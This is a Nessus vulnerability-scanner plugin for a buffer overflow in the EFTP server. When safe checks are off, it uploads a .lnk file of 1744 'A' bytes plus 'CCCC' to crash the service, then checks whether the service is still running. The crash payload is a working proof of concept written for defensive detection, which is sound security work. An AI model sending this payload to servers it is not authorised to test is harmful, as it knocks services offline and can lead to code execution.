home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / eftp_bufferoverflow.nasl < prev    next >
Text File  |  2005-03-31  |  4KB  |  171 lines

  1. #
  2. # This script was written by Michel Arboi <arboi@noos.fr>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10928);
  10.  script_bugtraq_id(3330);
  11.  script_version("$Revision: 1.10 $");
  12.  script_cve_id("CAN-2001-1112");
  13.  name["english"] = "EFTP buffer overflow";
  14.  name["francais"] = "DΘbordement mΘmoire dans EFTP";
  15.  script_name(english:name["english"], francais:name["francais"]);
  16.  
  17.  desc["english"] = "
  18. It was possible to crash the EFTP service by
  19. uploading a *.lnk file containing too much data.
  20.  
  21. A cracker may use this attack to make this
  22. service crash continuously, or run arbitrary code
  23. on your system.
  24.  
  25.  
  26. Solution: upgrade EFTP to 2.0.8.x
  27.  
  28. Risk factor : High";
  29.  
  30.  
  31.  desc["francais"] = "
  32. Il a ΘtΘ possible de faire planter le service EFTP 
  33. en envoyant un fichier *.lnk qui contenait trop 
  34. de donnΘes.
  35.  
  36. Un pirate peut exploiter cette faille 
  37. pour faire planter continuellement ce
  38. service, ou exΘcuter n'importe quel code sur 
  39. le systΦme.
  40.  
  41. Solution: mettez α jour EFTP en 2.0.8.x
  42.  
  43. Facteur de risque : ElevΘ";
  44.  
  45.  script_description(english:desc["english"], francais:desc["francais"]);
  46.  
  47.  summary["english"] = "EFTP buffer overflow";
  48.  summary["francais"] = "DΘbordement mΘmoire dans EFTP";
  49.  script_summary(english:summary["english"], francais:summary["francais"]);
  50.  
  51.  script_category(ACT_MIXED_ATTACK);
  52.  
  53.  script_copyright(english:"This script is Copyright (C) 2001 Michel Arboi",
  54.         francais:"Ce script est Copyright (C) 2001 Michel Arboi");
  55.  family["english"] = "Gain root remotely";
  56.  family["francais"] = "Passer root α distance";
  57.  
  58.  script_family(english:family["english"], francais:family["francais"]);
  59.  script_require_ports("Services/ftp", 21);
  60.  script_dependencie("find_service.nes", "ftp_anonymous.nasl");
  61.  exit(0);
  62. }
  63.  
  64. #
  65.  
  66. include("ftp_func.inc");
  67.  
  68. port = get_kb_item("Services/ftp");
  69. if (!port) port = 21; 
  70.  
  71. state = get_port_state(port);
  72. if (!state) exit(0);
  73.  
  74. user_login = get_kb_item("ftp/login");
  75. user_passwd = get_kb_item("ftp/password");
  76. writeable_dir = get_kb_item("ftp/writeable_dir");
  77. use_banner = 1;
  78.  
  79. if (user_login && user_passwd && writeable_dir)
  80. {
  81.  use_banner = safe_checks();
  82. }
  83.  
  84. if (use_banner)
  85. {
  86.  banner = get_ftp_banner(port: port);
  87.  if(egrep(pattern:".*EFTP Version 2\.0\.[0-7]\.*", string:banner))
  88.  {
  89.   desc = "
  90. It may be possible to crash the EFTP service by
  91. uploading a *.lnk file containing too much data.
  92.  
  93. A cracker may use this attack to make this
  94. service crash continuously, or run arbitrary code
  95. on your system.
  96.  
  97. *** Nessus reports this vulnerability using only
  98. *** information that was gathered. Use caution
  99. *** when testing without safe checks enabled.
  100.  
  101. Solution: upgrade EFTP to 2.0.8.x
  102.  
  103. Risk factor : High";
  104.   security_hole(port:port, data:desc);
  105.  } 
  106.  exit(0);
  107. }
  108.  
  109. soc = open_sock_tcp(port);
  110. if (!soc) exit(0);
  111.  
  112.  
  113.  
  114.  
  115. r = ftp_log_in(socket:soc, user:user_login, pass:user_passwd);
  116. if (!r) 
  117. {
  118.  ftp_close(socket: soc);
  119.  exit(0);
  120. }
  121.  
  122. # Go to writable dir
  123. cmd = string("CWD ", writeable_dir, "\r\n");
  124. send(socket:soc, data:cmd);
  125. a = recv_line(socket:soc, length:1024);
  126.  
  127. f_name =  string("ness", rand()%10, rand()%10, rand()%10, rand()%10, ".lnk");
  128.  
  129. # Upload a buggy .LNK
  130. port2 = ftp_get_pasv_port(socket:soc);
  131. soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
  132. cmd = string("STOR ", f_name, "\r\n");
  133. send(socket:soc, data:cmd);
  134. r = recv_line(socket:soc, length:1024);    # Read the 3 digits ?
  135. if(ereg(pattern:"^5[0-9][0-9] .*", string:r))
  136.  {
  137.   exit(0);
  138.  }
  139.  
  140.  
  141. d = string(crap(length:1744, data: "A"), "CCCC");
  142. send(socket:soc2, data:d);
  143. close(soc2);
  144.  
  145. # Now run DIR
  146. cmd = string("LIST\r\n");
  147. send(socket:soc, data:cmd);
  148. r = recv_line(socket: soc, length: 1024);
  149. ftp_close(socket: soc);
  150.  
  151. # Now check if it is still alive
  152. soc = open_sock_tcp(port);
  153. if (! soc)
  154. {
  155.  security_hole(port);
  156. }
  157.  
  158. # Or clean mess :)
  159.  
  160. if (soc)
  161.  ftp_log_in(socket:soc, user:user_login, pass:user_passwd);
  162.  cmd = string("CWD ", writeable_dir, "\r\n");
  163.  send(socket:soc, data:cmd);
  164.  r = recv_line(socket:soc, length:1024);
  165.  cmd = string ("DELE ", f_name, "\r\n");
  166.  send(socket:soc, data:cmd);
  167.  r = recv_line(socket:soc, length:1024);
  168.  ftp_close(socket: soc);
  169. }
  170.